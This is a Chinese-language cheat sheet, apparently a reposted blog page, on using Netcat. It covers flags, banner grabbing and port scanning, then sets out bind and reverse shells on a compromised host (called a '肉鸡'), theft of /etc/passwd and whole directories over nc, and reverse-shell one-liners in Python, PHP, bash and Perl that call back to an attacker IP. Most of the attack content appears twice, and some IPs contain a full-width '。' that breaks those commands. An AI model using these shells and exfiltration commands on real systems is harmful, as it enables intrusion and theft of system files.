赞
踩
Netcat,通常简称为nc,是一种网络工具,用于在计算机网络上传输数据。它可以用于多种网络任务,包括端口扫描、数据传输、端口监听和网络调试等。Netcat是一款强大的命令行工具,因其灵活性和功能而受到网络管理员和安全专家的欢迎。
- 1:正向连接
- 服务器执行:nc -l -p 8888 -e cmd.exe
- 本地主机执行:nc -vv 服务器ip 8888
-
- 2:反向连接
- 服务器执行:nc -e cmd.exe 公网ip 8888
- 公网主机执行:nc -lvp 8888
- [root@localhost ~]# nc -help
-
- -g <网关> 设置路由器跃程通信网关,最多可设置8个;
- -G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
- -h 在线帮助;
- -i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
- -l 使用监听模式,管控传入的资料;
- -n 直接使用IP地址,而不通过域名服务器;
- -o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
- -p <通信端口> 设置本地主机使用的通信端口;
- -r 乱数指定本地与远端主机的通信端口;
- -s <来源位址> 设置本地主机送出数据包的IP地址;
- -u 使用UDP传输协议;
- -v 显示指令执行过程;
- -w <超时秒数> 设置等待连线的时间;
- -z 使用0输入/输出模式,只在扫描通信端口时使用。
连接远程主机的80端口,并获取到该端口的版本信息
lyshark@dell:~$ nc -nv 192.168.1.20 80
扫描目标主机开放的端口,例如从 70-100 那个端口是开放的
- lyshark@dell:~$ nc -nvv -w2 -z 192.168.1.20 70-100 TCP扫描
- lyshark@dell:~$ nc -nvv -w2 -z -u 192.168.1.20 70-100 UDP扫描
正向连接,创建正向连接
- [root@localhost ~]# nc -l -p 9999 -e /bin/sh 肉鸡执行
- lyshark@dell:~$ nc -nv 192.168.1.20 9999 服务端执行
反向连接,推荐使用
[root@localhost ~]# nc -t -e /bin/sh 192.168.1.2 9999
服务端执行 nc -l -p 9999
- [root@localhost ~]# nc 192.168.1.2 9999 < /etc/passwd
- lyshark@dell:~/w$ nc -l 9999 > passwd.log
- lyshark@dell:~/w$ nc -l 9999 | tar xzvf -
- [root@localhost etc]# tar -czf - * | nc 192.168.1.2 9999
- [root@localhost ~]# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
- lyshark@dell:~$ nc -lvp 9999
- php -r '$sock=fsockopen("192.168.1.2",9999);exec("/bin/sh -i <&3 >&3 2>&3");' php 反弹
- bash -i>&/dev/tcp/192.168.1。2/9999 0>&1 bash 反弹
- perl -e 'use Socket;$i="192.168.1。2";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl反弹
- # 连接远程主机的80端口,并获取到该端口的版本信息
- lyshark@dell:~$ nc -nv 192.168.1.20 80
-
- # 扫描目标主机开放的端口,从70-100 那个端口是开放的
- lyshark@dell:~$ nc -nvv -w2 -z 192.168.1.20 70-100 TCP扫描
- lyshark@dell:~$ nc -nvv -w2 -z -u 192.168.1.20 70-100 UDP扫描
-
- # 正向连接,创建正向连接,无法过墙
- [root@localhost ~]# nc -l -p 9999 -e /bin/sh 肉鸡执行
- lyshark@dell:~$ nc -nv 192.168.1.20 9999 服务端执行
-
- # 反向连接
- [root@localhost ~]# nc -t -e /bin/sh 192.168.1.2 9999
- lyshark@dell:~$ nc -l -p 9999
-
- #远程传输文件
- [root@localhost ~]# nc 192.168.1.2 9999 < /etc/passwd
- lyshark@dell:~/w$ nc -l 9999 > passwd.log
-
- # 远程传输目录
- lyshark@dell:~/w$ nc -l 9999 | tar xzvf -
- [root@localhost etc]# tar -czf - * | nc 192.168.1.2 9999
-
- # Python 反弹nc端口
- [root@localhost ~]# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- lyshark@dell:~$ nc -lvp 9999
-
- # 其他反弹端口
- php -r '$sock=fsockopen("192.168.1.2",9999);exec("/bin/sh -i <&3 >&3 2>&3");' php 反弹
- bash -i>&/dev/tcp/192.168.1。2/9999 0>&1 bash 反弹
- perl -e 'use Socket;$i="192.168.1。2";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl反弹
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。